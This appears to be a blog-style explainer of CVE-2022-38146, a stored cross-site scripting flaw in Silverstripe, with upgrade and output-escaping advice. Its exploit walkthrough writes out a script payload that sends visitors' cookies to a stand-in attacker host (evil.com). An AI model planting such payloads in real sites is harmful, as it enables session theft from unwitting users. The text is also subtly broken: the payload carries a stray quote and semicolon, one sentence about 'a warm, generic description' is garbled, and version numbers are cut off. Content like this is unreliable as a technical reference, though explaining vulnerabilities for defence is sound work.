Silverstripe is a popular open source CMS and web framework written in PHP. But, like many web applications, it’s not immune to security issues—especially cross-site scripting (XSS). One vulnerability spotted in Silverstripe versions through 4.11 is tracked as CVE-2022-38146. In this article, let’s break down what happened, see how it can be exploited, and check out what you can do about it.

What is CVE-2022-38146?

CVE-2022-38146 is a stored XSS vulnerability found in the Silverstripe Framework (specifically, the silverstripe/framework package), affecting all versions up to 4.11. In simple terms, this bug lets an attacker inject malicious JavaScript into the web pages managed by the CMS. When other users load that page, the script runs in their browsers—potentially stealing cookies, credentials, or doing actions as that user.

Official NVD Entry:  
https://nvd.nist.gov/vuln/detail/CVE-2022-38146

Original Silverstripe Security Advisory:  
https://www.silverstripe.org/download/security-releases/cve-2022-38146

Where is the Bug?

Silverstripe uses templates and helper functions to render data. In some instances, output was not properly escaped, meaning any HTML or scripts placed in certain fields could be rendered as active code on the page.

Issue 2 of 3 collected under a warm, generic description by the Silverstripe team

> Cross-Site Scripting Through User Submitted Content:  
> "Several locations in the Silverstripe Framework did not sufficiently filter user-supplied input. This could allow HTML or script injection when displaying content."

One spot is the CMS's built-in file or content fields, such as the “Title” or “Description” field for pages.

Here’s an example

<script>alert('XSS attack by CVE-2022-38146!')</script>

If the CMS doesn’t properly sanitize this field, it gets rendered as actual code. The next user to view that page gets popped with an alert box, or in a real-world attack, their cookies get sent to the attacker.

Step-by-Step Exploit Example

Let’s walk through using the *Title* field to demonstrate.

Step 1:  
Log in and navigate to the page edit form.

Step 2:

Set the Title (or another field) to this value

<script>fetch('https://evil.com?cookie='; + document.cookie)</script>

Step 3:
Save the page.

Step 4:
When an admin or another user visits the affected page in the CMS or the frontend, their cookie gets transmitted to https://evil.com. Of course, this is just a demonstration—never attack real systems you do not own!

Remediation

The Silverstripe team fixed this vulnerability in version 4.12. (and 4.7.7 for LTS). The fix involved escaping output and improving data sanitization on all exposed user fields.

Upgrade:

Update silverstripe/framework to 4.12. or newer, or the latest LTS (4.7.7+).

Review Custom Code:

If you have your own Silverstripe templates or modules, make sure you’re using $Field.Escaped or appropriate escaping functions, not just raw $Field.

References & More Reading

- National Vulnerability Database Entry
- Silverstripe Security Release (CVE-2022-38146)
- How To Prevent XSS (OWASP Guide)

Dangerous (pre-patch Silverstripe template)

$Title

Safe (after patch or best practice)

$Title.ATT
<!-- Or more generally -->
$Title.Escaped

Conclusion

CVE-2022-38146 is a reminder that even professional frameworks can let XSS slip through if template output is not properly escaped. If you run Silverstripe, patch immediately and always review how user input is presented in your web apps!

Timeline

Published on: 11/21/2022 16:15:00 UTC
Last modified on: 11/22/2022 00:49:00 UTC